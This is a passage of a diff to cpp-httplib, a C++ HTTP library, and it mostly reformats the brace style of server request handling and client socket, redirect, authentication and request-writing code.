req.set_header("REMOTE_PORT", std::to_string(req.remote_port)); + + strm.get_local_ip_and_port(req.local_addr, req.local_port); + req.set_header("LOCAL_ADDR", req.local_addr); + req.set_header("LOCAL_PORT", std::to_string(req.local_port)); + + if (req.has_header("Range")) { + const auto &range_header_value = req.get_header_value("Range"); + if (!detail::parse_range_header(range_header_value, req.ranges)) { + res.status = StatusCode::RangeNotSatisfiable_416; + return write_response(strm, close_connection, req, res); } - } - res.set_header("EXCEPTION_WHAT", val); } - } catch (...) { - if (exception_handler_) { - auto ep = std::current_exception(); - exception_handler_(req, res, ep); - routed = true; - } else { - res.status = StatusCode::InternalServerError_500; - res.set_header("EXCEPTION_WHAT", "UNKNOWN"); + + if (setup_request) { + setup_request(req); + } + + if (req.get_header_value("Expect") == "100-continue") { + int status = StatusCode::Continue_100; + if (expect_100_continue_handler_) { + status = expect_100_continue_handler_(req, res); + } + switch (status) { + case StatusCode::Continue_100: + case StatusCode::ExpectationFailed_417: + strm.write_format("HTTP/1.1 %d %s\r\n\r\n", status, + status_message(status)); + break; + default: + return write_response(strm, close_connection, req, res); + } + } + + // Rounting + auto routed = false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS + routed = routing(req, res, strm); +#else + try { + routed = routing(req, res, strm); + } catch (std::exception &e) { + if (exception_handler_) { + auto ep = std::current_exception(); + exception_handler_(req, res, ep); + routed = true; + } else { + res.status = StatusCode::InternalServerError_500; + std::string val; + auto s = e.what(); + for (size_t i = 0; s[i]; i++) { + switch (s[i]) { + case '\r': + val += "\\r"; + break; + case '\n': + val += "\\n"; + break; + default: + val += s[i]; + break; + } + } + res.set_header("EXCEPTION_WHAT", val); + } + } catch (...) { + if (exception_handler_) { + auto ep = std::current_exception(); + exception_handler_(req, res, ep); + routed = true; + } else { + res.status = StatusCode::InternalServerError_500; + res.set_header("EXCEPTION_WHAT", "UNKNOWN"); + } } - } #endif - if (routed) { - if (res.status == -1) { - res.status = req.ranges.empty() ? StatusCode::OK_200 - : StatusCode::PartialContent_206; + if (routed) { + if (res.status == -1) { + res.status = req.ranges.empty() ? StatusCode::OK_200 + : StatusCode::PartialContent_206; + } + return write_response_with_content(strm, close_connection, req, res); + } else { + if (res.status == -1) { + res.status = StatusCode::NotFound_404; + } + return write_response(strm, close_connection, req, res); } - return write_response_with_content(strm, close_connection, req, res); - } else { - if (res.status == -1) { res.status = StatusCode::NotFound_404; } - return write_response(strm, close_connection, req, res); - } } -inline bool Server::is_valid() const { return true; } +inline bool Server::is_valid() const +{ + return true; +} -inline bool Server::process_and_close_socket(socket_t sock) { - auto ret = detail::process_server_socket( - svr_sock_, sock, keep_alive_max_count_, keep_alive_timeout_sec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, - [this](Stream &strm, bool close_connection, bool &connection_closed) { +inline bool Server::process_and_close_socket(socket_t sock) +{ + auto ret = detail::process_server_socket( + svr_sock_, sock, keep_alive_max_count_, keep_alive_timeout_sec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, + [this](Stream &strm, bool close_connection, bool &connection_closed) { return process_request(strm, close_connection, connection_closed, nullptr); - }); + }); - detail::shutdown_socket(sock); - detail::close_socket(sock); - return ret; + detail::shutdown_socket(sock); + detail::close_socket(sock); + return ret; } // HTTP client implementation @@ -6718,1496 +7611,1732 @@ inline ClientImpl::ClientImpl(const std::string &host, int port, host_and_port_(adjust_host_string(host) + ":" + std::to_string(port)), client_cert_path_(client_cert_path), client_key_path_(client_key_path) {} -inline ClientImpl::~ClientImpl() { - std::lock_guard guard(socket_mutex_); - shutdown_socket(socket_); - close_socket(socket_); +inline ClientImpl::~ClientImpl() +{ + std::lock_guard guard(socket_mutex_); + shutdown_socket(socket_); + close_socket(socket_); } -inline bool ClientImpl::is_valid() const { return true; } - -inline void ClientImpl::copy_settings(const ClientImpl &rhs) { - client_cert_path_ = rhs.client_cert_path_; - client_key_path_ = rhs.client_key_path_; - connection_timeout_sec_ = rhs.connection_timeout_sec_; - read_timeout_sec_ = rhs.read_timeout_sec_; - read_timeout_usec_ = rhs.read_timeout_usec_; - write_timeout_sec_ = rhs.write_timeout_sec_; - write_timeout_usec_ = rhs.write_timeout_usec_; - basic_auth_username_ = rhs.basic_auth_username_; - basic_auth_password_ = rhs.basic_auth_password_; - bearer_token_auth_token_ = rhs.bearer_token_auth_token_; -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - digest_auth_username_ = rhs.digest_auth_username_; - digest_auth_password_ = rhs.digest_auth_password_; -#endif - keep_alive_ = rhs.keep_alive_; - follow_location_ = rhs.follow_location_; - url_encode_ = rhs.url_encode_; - address_family_ = rhs.address_family_; - tcp_nodelay_ = rhs.tcp_nodelay_; - socket_options_ = rhs.socket_options_; - compress_ = rhs.compress_; - decompress_ = rhs.decompress_; - interface_ = rhs.interface_; - proxy_host_ = rhs.proxy_host_; - proxy_port_ = rhs.proxy_port_; - proxy_basic_auth_username_ = rhs.proxy_basic_auth_username_; - proxy_basic_auth_password_ = rhs.proxy_basic_auth_password_; - proxy_bearer_token_auth_token_ = rhs.proxy_bearer_token_auth_token_; -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - proxy_digest_auth_username_ = rhs.proxy_digest_auth_username_; - proxy_digest_auth_password_ = rhs.proxy_digest_auth_password_; -#endif -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - ca_cert_file_path_ = rhs.ca_cert_file_path_; - ca_cert_dir_path_ = rhs.ca_cert_dir_path_; - ca_cert_store_ = rhs.ca_cert_store_; -#endif -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - server_certificate_verification_ = rhs.server_certificate_verification_; -#endif - logger_ = rhs.logger_; +inline bool ClientImpl::is_valid() const +{ + return true; } -inline socket_t ClientImpl::create_client_socket(Error &error) const { - if (!proxy_host_.empty() && proxy_port_ != -1) { +inline void ClientImpl::copy_settings(const ClientImpl &rhs) +{ + client_cert_path_ = rhs.client_cert_path_; + client_key_path_ = rhs.client_key_path_; + connection_timeout_sec_ = rhs.connection_timeout_sec_; + read_timeout_sec_ = rhs.read_timeout_sec_; + read_timeout_usec_ = rhs.read_timeout_usec_; + write_timeout_sec_ = rhs.write_timeout_sec_; + write_timeout_usec_ = rhs.write_timeout_usec_; + basic_auth_username_ = rhs.basic_auth_username_; + basic_auth_password_ = rhs.basic_auth_password_; + bearer_token_auth_token_ = rhs.bearer_token_auth_token_; +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + digest_auth_username_ = rhs.digest_auth_username_; + digest_auth_password_ = rhs.digest_auth_password_; +#endif + keep_alive_ = rhs.keep_alive_; + follow_location_ = rhs.follow_location_; + url_encode_ = rhs.url_encode_; + address_family_ = rhs.address_family_; + tcp_nodelay_ = rhs.tcp_nodelay_; + socket_options_ = rhs.socket_options_; + compress_ = rhs.compress_; + decompress_ = rhs.decompress_; + interface_ = rhs.interface_; + proxy_host_ = rhs.proxy_host_; + proxy_port_ = rhs.proxy_port_; + proxy_basic_auth_username_ = rhs.proxy_basic_auth_username_; + proxy_basic_auth_password_ = rhs.proxy_basic_auth_password_; + proxy_bearer_token_auth_token_ = rhs.proxy_bearer_token_auth_token_; +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + proxy_digest_auth_username_ = rhs.proxy_digest_auth_username_; + proxy_digest_auth_password_ = rhs.proxy_digest_auth_password_; +#endif +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + ca_cert_file_path_ = rhs.ca_cert_file_path_; + ca_cert_dir_path_ = rhs.ca_cert_dir_path_; + ca_cert_store_ = rhs.ca_cert_store_; +#endif +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + server_certificate_verification_ = rhs.server_certificate_verification_; +#endif + logger_ = rhs.logger_; +} + +inline socket_t ClientImpl::create_client_socket(Error &error) const +{ + if (!proxy_host_.empty() && proxy_port_ != -1) { + return detail::create_client_socket( + proxy_host_, std::string(), proxy_port_, address_family_, tcp_nodelay_, + socket_options_, connection_timeout_sec_, connection_timeout_usec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, interface_, error); + } + + // Check is custom IP specified for host_ + std::string ip; + auto it = addr_map_.find(host_); + if (it != addr_map_.end()) { + ip = it->second; + } + return detail::create_client_socket( - proxy_host_, std::string(), proxy_port_, address_family_, tcp_nodelay_, - socket_options_, connection_timeout_sec_, connection_timeout_usec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, interface_, error); - } - - // Check is custom IP specified for host_ - std::string ip; - auto it = addr_map_.find(host_); - if (it != addr_map_.end()) { ip = it->second; } - - return detail::create_client_socket( - host_, ip, port_, address_family_, tcp_nodelay_, socket_options_, - connection_timeout_sec_, connection_timeout_usec_, read_timeout_sec_, - read_timeout_usec_, write_timeout_sec_, write_timeout_usec_, interface_, - error); + host_, ip, port_, address_family_, tcp_nodelay_, socket_options_, + connection_timeout_sec_, connection_timeout_usec_, read_timeout_sec_, + read_timeout_usec_, write_timeout_sec_, write_timeout_usec_, interface_, + error); } inline bool ClientImpl::create_and_connect_socket(Socket &socket, - Error &error) { - auto sock = create_client_socket(error); - if (sock == INVALID_SOCKET) { return false; } - socket.sock = sock; - return true; + Error &error) +{ + auto sock = create_client_socket(error); + if (sock == INVALID_SOCKET) { + return false; + } + socket.sock = sock; + return true; } inline void ClientImpl::shutdown_ssl(Socket & /*socket*/, - bool /*shutdown_gracefully*/) { - // If there are any requests in flight from threads other than us, then it's - // a thread-unsafe race because individual ssl* objects are not thread-safe. - assert(socket_requests_in_flight_ == 0 || - socket_requests_are_from_thread_ == std::this_thread::get_id()); + bool /*shutdown_gracefully*/) +{ + // If there are any requests in flight from threads other than us, then it's + // a thread-unsafe race because individual ssl* objects are not thread-safe. + assert(socket_requests_in_flight_ == 0 || + socket_requests_are_from_thread_ == std::this_thread::get_id()); } -inline void ClientImpl::shutdown_socket(Socket &socket) const { - if (socket.sock == INVALID_SOCKET) { return; } - detail::shutdown_socket(socket.sock); +inline void ClientImpl::shutdown_socket(Socket &socket) const +{ + if (socket.sock == INVALID_SOCKET) { + return; + } + detail::shutdown_socket(socket.sock); } -inline void ClientImpl::close_socket(Socket &socket) { - // If there are requests in flight in another thread, usually closing - // the socket will be fine and they will simply receive an error when - // using the closed socket, but it is still a bug since rarely the OS - // may reassign the socket id to be used for a new socket, and then - // suddenly they will be operating on a live socket that is different - // than the one they intended! - assert(socket_requests_in_flight_ == 0 || - socket_requests_are_from_thread_ == std::this_thread::get_id()); +inline void ClientImpl::close_socket(Socket &socket) +{ + // If there are requests in flight in another thread, usually closing + // the socket will be fine and they will simply receive an error when + // using the closed socket, but it is still a bug since rarely the OS + // may reassign the socket id to be used for a new socket, and then + // suddenly they will be operating on a live socket that is different + // than the one they intended! + assert(socket_requests_in_flight_ == 0 || + socket_requests_are_from_thread_ == std::this_thread::get_id()); - // It is also a bug if this happens while SSL is still active + // It is also a bug if this happens while SSL is still active #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - assert(socket.ssl == nullptr); + assert(socket.ssl == nullptr); #endif - if (socket.sock == INVALID_SOCKET) { return; } - detail::close_socket(socket.sock); - socket.sock = INVALID_SOCKET; + if (socket.sock == INVALID_SOCKET) { + return; + } + detail::close_socket(socket.sock); + socket.sock = INVALID_SOCKET; } inline bool ClientImpl::read_response_line(Stream &strm, const Request &req, - Response &res) const { - std::array buf{}; + Response &res) const +{ + std::array buf{}; - detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); + detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); - if (!line_reader.getline()) { return false; } + if (!line_reader.getline()) { + return false; + } #ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR - const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r?\n"); + const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r?\n"); #else - const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r\n"); + const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r\n"); #endif - std::cmatch m; - if (!std::regex_match(line_reader.ptr(), m, re)) { - return req.method == "CONNECT"; - } - res.version = std::string(m[1]); - res.status = std::stoi(std::string(m[2])); - res.reason = std::string(m[3]); - - // Ignore '100 Continue' - while (res.status == StatusCode::Continue_100) { - if (!line_reader.getline()) { return false; } // CRLF - if (!line_reader.getline()) { return false; } // next response line - - if (!std::regex_match(line_reader.ptr(), m, re)) { return false; } + std::cmatch m; + if (!std::regex_match(line_reader.ptr(), m, re)) { + return req.method == "CONNECT"; + } res.version = std::string(m[1]); res.status = std::stoi(std::string(m[2])); res.reason = std::string(m[3]); - } - return true; -} - -inline bool ClientImpl::send(Request &req, Response &res, Error &error) { - std::lock_guard request_mutex_guard(request_mutex_); - auto ret = send_(req, res, error); - if (error == Error::SSLPeerCouldBeClosed_) { - assert(!ret); - ret = send_(req, res, error); - } - return ret; -} - -inline bool ClientImpl::send_(Request &req, Response &res, Error &error) { - { - std::lock_guard guard(socket_mutex_); - - // Set this to false immediately - if it ever gets set to true by the end of - // the request, we know another thread instructed us to close the socket. - socket_should_be_closed_when_request_is_done_ = false; - - auto is_alive = false; - if (socket_.is_open()) { - is_alive = detail::is_socket_alive(socket_.sock); - if (!is_alive) { - // Attempt to avoid sigpipe by shutting down nongracefully if it seems - // like the other side has already closed the connection Also, there - // cannot be any requests in flight from other threads since we locked - // request_mutex_, so safe to close everything immediately - const bool shutdown_gracefully = false; - shutdown_ssl(socket_, shutdown_gracefully); - shutdown_socket(socket_); - close_socket(socket_); - } - } - - if (!is_alive) { - if (!create_and_connect_socket(socket_, error)) { return false; } - -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - // TODO: refactoring - if (is_ssl()) { - auto &scli = static_cast(*this); - if (!proxy_host_.empty() && proxy_port_ != -1) { - auto success = false; - if (!scli.connect_with_proxy(socket_, res, success, error)) { - return success; - } + // Ignore '100 Continue' + while (res.status == StatusCode::Continue_100) { + if (!line_reader.getline()) { + return false; // CRLF + } + if (!line_reader.getline()) { + return false; // next response line } - if (!scli.initialize_ssl(socket_, error)) { return false; } - } + if (!std::regex_match(line_reader.ptr(), m, re)) { + return false; + } + res.version = std::string(m[1]); + res.status = std::stoi(std::string(m[2])); + res.reason = std::string(m[3]); + } + + return true; +} + +inline bool ClientImpl::send(Request &req, Response &res, Error &error) +{ + std::lock_guard request_mutex_guard(request_mutex_); + auto ret = send_(req, res, error); + if (error == Error::SSLPeerCouldBeClosed_) { + assert(!ret); + ret = send_(req, res, error); + } + return ret; +} + +inline bool ClientImpl::send_(Request &req, Response &res, Error &error) +{ + { + std::lock_guard guard(socket_mutex_); + + // Set this to false immediately - if it ever gets set to true by the end of + // the request, we know another thread instructed us to close the socket. + socket_should_be_closed_when_request_is_done_ = false; + + auto is_alive = false; + if (socket_.is_open()) { + is_alive = detail::is_socket_alive(socket_.sock); + if (!is_alive) { + // Attempt to avoid sigpipe by shutting down nongracefully if it seems + // like the other side has already closed the connection Also, there + // cannot be any requests in flight from other threads since we locked + // request_mutex_, so safe to close everything immediately + const bool shutdown_gracefully = false; + shutdown_ssl(socket_, shutdown_gracefully); + shutdown_socket(socket_); + close_socket(socket_); + } + } + + if (!is_alive) { + if (!create_and_connect_socket(socket_, error)) { + return false; + } + +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + // TODO: refactoring + if (is_ssl()) { + auto &scli = static_cast(*this); + if (!proxy_host_.empty() && proxy_port_ != -1) { + auto success = false; + if (!scli.connect_with_proxy(socket_, res, success, error)) { + return success; + } + } + + if (!scli.initialize_ssl(socket_, error)) { + return false; + } + } #endif + } + + // Mark the current socket as being in use so that it cannot be closed by + // anyone else while this request is ongoing, even though we will be + // releasing the mutex. + if (socket_requests_in_flight_ > 1) { + assert(socket_requests_are_from_thread_ == std::this_thread::get_id()); + } + socket_requests_in_flight_ += 1; + socket_requests_are_from_thread_ = std::this_thread::get_id(); } - // Mark the current socket as being in use so that it cannot be closed by - // anyone else while this request is ongoing, even though we will be - // releasing the mutex. - if (socket_requests_in_flight_ > 1) { - assert(socket_requests_are_from_thread_ == std::this_thread::get_id()); - } - socket_requests_in_flight_ += 1; - socket_requests_are_from_thread_ = std::this_thread::get_id(); - } - - for (const auto &header : default_headers_) { - if (req.headers.find(header.first) == req.headers.end()) { - req.headers.insert(header); - } - } - - auto ret = false; - auto close_connection = !keep_alive_; - - auto se = detail::scope_exit([&]() { - // Briefly lock mutex in order to mark that a request is no longer ongoing - std::lock_guard guard(socket_mutex_); - socket_requests_in_flight_ -= 1; - if (socket_requests_in_flight_ <= 0) { - assert(socket_requests_in_flight_ == 0); - socket_requests_are_from_thread_ = std::thread::id(); + for (const auto &header : default_headers_) { + if (req.headers.find(header.first) == req.headers.end()) { + req.headers.insert(header); + } } - if (socket_should_be_closed_when_request_is_done_ || close_connection || - !ret) { - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); + auto ret = false; + auto close_connection = !keep_alive_; + + auto se = detail::scope_exit([&]() { + // Briefly lock mutex in order to mark that a request is no longer ongoing + std::lock_guard guard(socket_mutex_); + socket_requests_in_flight_ -= 1; + if (socket_requests_in_flight_ <= 0) { + assert(socket_requests_in_flight_ == 0); + socket_requests_are_from_thread_ = std::thread::id(); + } + + if (socket_should_be_closed_when_request_is_done_ || close_connection || + !ret) { + shutdown_ssl(socket_, true); + shutdown_socket(socket_); + close_socket(socket_); + } + }); + + ret = process_socket(socket_, [&](Stream &strm) { + return handle_request(strm, req, res, close_connection, error); + }); + + if (!ret) { + if (error == Error::Success) { + error = Error::Unknown; + } } - }); - ret = process_socket(socket_, [&](Stream &strm) { - return handle_request(strm, req, res, close_connection, error); - }); - - if (!ret) { - if (error == Error::Success) { error = Error::Unknown; } - } - - return ret; + return ret; } -inline Result ClientImpl::send(const Request &req) { - auto req2 = req; - return send_(std::move(req2)); +inline Result ClientImpl::send(const Request &req) +{ + auto req2 = req; + return send_(std::move(req2)); } -inline Result ClientImpl::send_(Request &&req) { - auto res = detail::make_unique(); - auto error = Error::Success; - auto ret = send(req, *res, error); - return Result{ret ? std::move(res) : nullptr, error, std::move(req.headers)}; +inline Result ClientImpl::send_(Request &&req) +{ + auto res = detail::make_unique(); + auto error = Error::Success; + auto ret = send(req, *res, error); + return Result{ret ? std::move(res) : nullptr, error, std::move(req.headers)}; } inline bool ClientImpl::handle_request(Stream &strm, Request &req, Response &res, bool close_connection, - Error &error) { - if (req.path.empty()) { - error = Error::Connection; - return false; - } + Error &error) +{ + if (req.path.empty()) { + error = Error::Connection; + return false; + } - auto req_save = req; + auto req_save = req; - bool ret; + bool ret; - if (!is_ssl() && !proxy_host_.empty() && proxy_port_ != -1) { - auto req2 = req; - req2.path = "http://" + host_and_port_ + req.path; - ret = process_request(strm, req2, res, close_connection, error); - req = req2; - req.path = req_save.path; - } else { - ret = process_request(strm, req, res, close_connection, error); - } + if (!is_ssl() && !proxy_host_.empty() && proxy_port_ != -1) { + auto req2 = req; + req2.path = "http://" + host_and_port_ + req.path; + ret = process_request(strm, req2, res, close_connection, error); + req = req2; + req.path = req_save.path; + } else { + ret = process_request(strm, req, res, close_connection, error); + } - if (!ret) { return false; } + if (!ret) { + return false; + } - if (res.get_header_value("Connection") == "close" || - (res.version == "HTTP/1.0" && res.reason != "Connection established")) { - // TODO this requires a not-entirely-obvious chain of calls to be correct - // for this to be safe. + if (res.get_header_value("Connection") == "close" || + (res.version == "HTTP/1.0" && res.reason != "Connection established")) { + // TODO this requires a not-entirely-obvious chain of calls to be correct + // for this to be safe. - // This is safe to call because handle_request is only called by send_ - // which locks the request mutex during the process. It would be a bug - // to call it from a different thread since it's a thread-safety issue - // to do these things to the socket if another thread is using the socket. - std::lock_guard guard(socket_mutex_); - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); - } + // This is safe to call because handle_request is only called by send_ + // which locks the request mutex during the process. It would be a bug + // to call it from a different thread since it's a thread-safety issue + // to do these things to the socket if another thread is using the socket. + std::lock_guard guard(socket_mutex_); + shutdown_ssl(socket_, true); + shutdown_socket(socket_); + close_socket(socket_); + } - if (300 < res.status && res.status < 400 && follow_location_) { - req = req_save; - ret = redirect(req, res, error); - } + if (300 < res.status && res.status < 400 && follow_location_) { + req = req_save; + ret = redirect(req, res, error); + } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if ((res.status == StatusCode::Unauthorized_401 || - res.status == StatusCode::ProxyAuthenticationRequired_407) && - req.authorization_count_ < 5) { - auto is_proxy = res.status == StatusCode::ProxyAuthenticationRequired_407; - const auto &username = - is_proxy ? proxy_digest_auth_username_ : digest_auth_username_; - const auto &password = - is_proxy ? proxy_digest_auth_password_ : digest_auth_password_; + if ((res.status == StatusCode::Unauthorized_401 || + res.status == StatusCode::ProxyAuthenticationRequired_407) && + req.authorization_count_ < 5) { + auto is_proxy = res.status == StatusCode::ProxyAuthenticationRequired_407; + const auto &username = + is_proxy ? proxy_digest_auth_username_ : digest_auth_username_; + const auto &password = + is_proxy ? proxy_digest_auth_password_ : digest_auth_password_; - if (!username.empty() && !password.empty()) { - std::map auth; - if (detail::parse_www_authenticate(res, auth, is_proxy)) { - Request new_req = req; - new_req.authorization_count_ += 1; - new_req.headers.erase(is_proxy ? "Proxy-Authorization" - : "Authorization"); - new_req.headers.insert(detail::make_digest_authentication_header( - req, auth, new_req.authorization_count_, detail::random_string(10), - username, password, is_proxy)); + if (!username.empty() && !password.empty()) { + std::map auth; + if (detail::parse_www_authenticate(res, auth, is_proxy)) { + Request new_req = req; + new_req.authorization_count_ += 1; + new_req.headers.erase(is_proxy ? "Proxy-Authorization" + : "Authorization"); + new_req.headers.insert(detail::make_digest_authentication_header( + req, auth, new_req.authorization_count_, detail::random_string(10), + username, password, is_proxy)); - Response new_res; + Response new_res; - ret = send(new_req, new_res, error); - if (ret) { res = new_res; } - } + ret = send(new_req, new_res, error); + if (ret) { + res = new_res; + } + } + } } - } #endif - return ret; + return ret; } -inline bool ClientImpl::redirect(Request &req, Response &res, Error &error) { - if (req.redirect_count_ == 0) { - error = Error::ExceedRedirectCount; - return false; - } - - auto location = res.get_header_value("location"); - if (location.empty()) { return false; } - - const static std::regex re( - R"((?:(https?):)?(?://(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)?([^?#]*)(\?[^#]*)?(?:#.*)?)"); - - std::smatch m; - if (!std::regex_match(location, m, re)) { return false; } - - auto scheme = is_ssl() ? "https" : "http"; - - auto next_scheme = m[1].str(); - auto next_host = m[2].str(); - if (next_host.empty()) { next_host = m[3].str(); } - auto port_str = m[4].str(); - auto next_path = m[5].str(); - auto next_query = m[6].str(); - - auto next_port = port_; - if (!port_str.empty()) { - next_port = std::stoi(port_str); - } else if (!next_scheme.empty()) { - next_port = next_scheme == "https" ? 443 : 80; - } - - if (next_scheme.empty()) { next_scheme = scheme; } - if (next_host.empty()) { next_host = host_; } - if (next_path.empty()) { next_path = "/"; } - - auto path = detail::decode_url(next_path, true) + next_query; - - if (next_scheme == scheme && next_host == host_ && next_port == port_) { - return detail::redirect(*this, req, res, path, location, error); - } else { - if (next_scheme == "https") { -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - SSLClient cli(next_host, next_port); - cli.copy_settings(*this); - if (ca_cert_store_) { cli.set_ca_cert_store(ca_cert_store_); } - return detail::redirect(cli, req, res, path, location, error); -#else - return false; -#endif - } else { - ClientImpl cli(next_host, next_port); - cli.copy_settings(*this); - return detail::redirect(cli, req, res, path, location, error); +inline bool ClientImpl::redirect(Request &req, Response &res, Error &error) +{ + if (req.redirect_count_ == 0) { + error = Error::ExceedRedirectCount; + return false; + } + + auto location = res.get_header_value("location"); + if (location.empty()) { + return false; + } + + const static std::regex re( + R"((?:(https?):)?(?://(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)?([^?#]*)(\?[^#]*)?(?:#.*)?)"); + + std::smatch m; + if (!std::regex_match(location, m, re)) { + return false; + } + + auto scheme = is_ssl() ? "https" : "http"; + + auto next_scheme = m[1].str(); + auto next_host = m[2].str(); + if (next_host.empty()) { + next_host = m[3].str(); + } + auto port_str = m[4].str(); + auto next_path = m[5].str(); + auto next_query = m[6].str(); + + auto next_port = port_; + if (!port_str.empty()) { + next_port = std::stoi(port_str); + } else if (!next_scheme.empty()) { + next_port = next_scheme == "https" ? 443 : 80; + } + + if (next_scheme.empty()) { + next_scheme = scheme; + } + if (next_host.empty()) { + next_host = host_; + } + if (next_path.empty()) { + next_path = "/"; + } + + auto path = detail::decode_url(next_path, true) + next_query; + + if (next_scheme == scheme && next_host == host_ && next_port == port_) { + return detail::redirect(*this, req, res, path, location, error); + } else { + if (next_scheme == "https") { +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + SSLClient cli(next_host, next_port); + cli.copy_settings(*this); + if (ca_cert_store_) { + cli.set_ca_cert_store(ca_cert_store_); + } + return detail::redirect(cli, req, res, path, location, error); +#else + return false; +#endif + } else { + ClientImpl cli(next_host, next_port); + cli.copy_settings(*this); + return detail::redirect(cli, req, res, path, location, error); + } } - } } inline bool ClientImpl::write_content_with_provider(Stream &strm, - const Request &req, - Error &error) const { - auto is_shutting_down = []() { return false; }; + const Request &req, + Error &error) const +{ + auto is_shutting_down = []() { + return false; + }; - if (req.is_chunked_content_provider_) { - // TODO: Brotli support - std::unique_ptr compressor; + if (req.is_chunked_content_provider_) { + // TODO: Brotli support + std::unique_ptr compressor; #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_) { - compressor = detail::make_unique(); - } else + if (compress_) { + compressor = detail::make_unique(); + } else #endif - { - compressor = detail::make_unique(); - } + { + compressor = detail::make_unique(); + } - return detail::write_content_chunked(strm, req.content_provider_, - is_shutting_down, *compressor, error); - } else { - return detail::write_content(strm, req.content_provider_, 0, - req.content_length_, is_shutting_down, error); - } + return detail::write_content_chunked(strm, req.content_provider_, + is_shutting_down, *compressor, error); + } else { + return detail::write_content(strm, req.content_provider_, 0, + req.content_length_, is_shutting_down, error); + } } inline bool ClientImpl::write_request(Stream &strm, Request &req, - bool close_connection, Error &error) { - // Prepare additional headers - if (close_connection) { - if (!req.has_header("Connection")) { - req.set_header("Connection", "close"); + bool close_connection, Error &error) +{ + // Prepare additional headers + if (close_connection) { + if (!req.has_header("Connection")) { + req.set_header("Connection", "close"); + } } - } - if (!req.has_header("Host")) { - if (is_ssl()) { - if (port_ == 443) { - req.set_header("Host", host_); - } else { - req.set_header("Host", host_and_port_); - } - } else { - if (port_ == 80) { - req.set_header("Host", host_); - } else { - req.set_header("Host", host_and_port_); - } + if (!req.has_header("Host")) { + if (is_ssl()) { + if (port_ == 443) { + req.set_header("Host", host_); + } else { + req.set_header("Host", host_and_port_); + } + } else { + if (port_ == 80) { + req.set_header("Host", host_); + } else { + req.set_header("Host", host_and_port_); + } + } } - } - if (!req.has_header("Accept")) { req.set_header("Accept", "*/*"); } + if (!req.has_header("Accept")) { + req.set_header("Accept", "*/*"); + } #ifndef CPPHTTPLIB_NO_DEFAULT_USER_AGENT - if (!req.has_header("User-Agent")) { - auto agent = std::string("cpp-httplib/") + CPPHTTPLIB_VERSION; - req.set_header("User-Agent", agent); - } + if (!req.has_header("User-Agent")) { + auto agent = std::string("cpp-httplib/") + CPPHTTPLIB_VERSION; + req.set_header("User-Agent", agent); + } #endif - if (req.body.empty()) { - if (req.content_provider_) { - if (!req.is_chunked_content_provider_) { - if (!req.has_header("Content-Length")) { - auto length = std::to_string(req.content_length_); - req.set_header("Content-Length", length); + if (req.body.empty()) { + if (req.content_provider_) { + if (!req.is_chunked_content_provider_) { + if (!req.has_header("Content-Length")) { + auto length = std::to_string(req.content_length_); + req.set_header("Content-Length", length); + } + } + } else { + if (req.method == "POST" || req.method == "PUT" || + req.method == "PATCH") { + req.set_header("Content-Length", "0"); + } } - } } else { - if (req.method == "POST" || req.method == "PUT" || - req.method == "PATCH") { - req.set_header("Content-Length", "0"); - } - } - } else { - if (!req.has_header("Content-Type")) { - req.set_header("Content-Type", "text/plain"); + if (!req.has_header("Content-Type")) { + req.set_header("Content-Type", "text/plain"); + } + + if (!req.has_header("Content-Length")) { + auto length = std::to_string(req.body.size()); + req.set_header("Content-Length", length); + } } - if (!req.has_header("Content-Length")) { - auto length = std::to_string(req.body.size()); - req.set_header("Content-Length", length); + if (!basic_auth_password_.empty() || !basic_auth_username_.empty()) { + if (!req.has_header("Authorization")) { + req.headers.insert(make_basic_authentication_header( + basic_auth_username_, basic_auth_password_, false)); + } } - } - if (!basic_auth_password_.empty() || !basic_auth_username_.empty()) { - if (!req.has_header("Authorization")) { - req.headers.insert(make_basic_authentication_header( - basic_auth_username_, basic_auth_password_, false)); + if (!proxy_basic_auth_username_.empty() && + !proxy_basic_auth_password_.empty()) { + if (!req.has_header("Proxy-Authorization")) { + req.headers.insert(make_basic_authentication_header( + proxy_basic_auth_username_, proxy_basic_auth_password_, true)); + } } - } - if (!proxy_basic_auth_username_.empty() && - !proxy_basic_auth_password_.empty()) { - if (!req.has_header("Proxy-Authorization")) { - req.headers.insert(make_basic_authentication_header( - proxy_basic_auth_username_, proxy_basic_auth_password_, true)); + if (!bearer_token_auth_token_.empty()) { + if (!req.has_header("Authorization")) { + req.headers.insert(make_bearer_token_authentication_header( + bearer_token_auth_token_, false)); + } } - } - if (!bearer_token_auth_token_.empty()) { - if (!req.has_header("Authorization")) { - req.headers.insert(make_bearer_token_authentication_header( - bearer_token_auth_token_, false)); + if (!proxy_bearer_token_auth_token_.empty()) { + if (!req.has_header("Proxy-Authorization")) { + 